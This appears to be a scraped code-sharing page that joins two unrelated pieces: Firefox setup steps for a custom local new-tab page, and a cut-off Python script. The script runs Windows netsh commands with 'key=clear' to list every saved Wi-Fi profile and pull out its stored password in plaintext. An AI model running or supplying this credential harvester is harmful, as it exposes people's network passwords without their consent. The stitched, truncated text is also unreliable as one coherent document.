-
Go to "
about:preferences#home
" (Options in top right menu > home), set "Homepage and new windows" to Custom URLs and enter "file:///path/to/the/index.html" -
Set "New tabs" to "Blank Page" then go to the installation folder of Firefox, "C:\Program Files\Mozilla Firefox" is default on Windows, open "defaults" then "pref" and put the "autoconfig.js" (from "Firefox_cfg") there. Go back to the installation folder and paste "autoconfig.cfg" (from "Firefox_cfg") in, open it and edit the "newTabURL" to the file path of the index.html
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import subprocess | |
data = subprocess.check_output( | |
['netsh', 'wlan', 'show', 'profiles']).decode('utf-8').split('\n') | |
profiles = [i.split(":")[1][1:-1] for i in data if "All User Profile" in i] | |
for i in profiles: | |
results = subprocess.check_output( | |
['netsh', 'wlan', 'show', 'profile', i, 'key=clear']).decode('utf-8').split('\n') | |
results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b] | |
try: |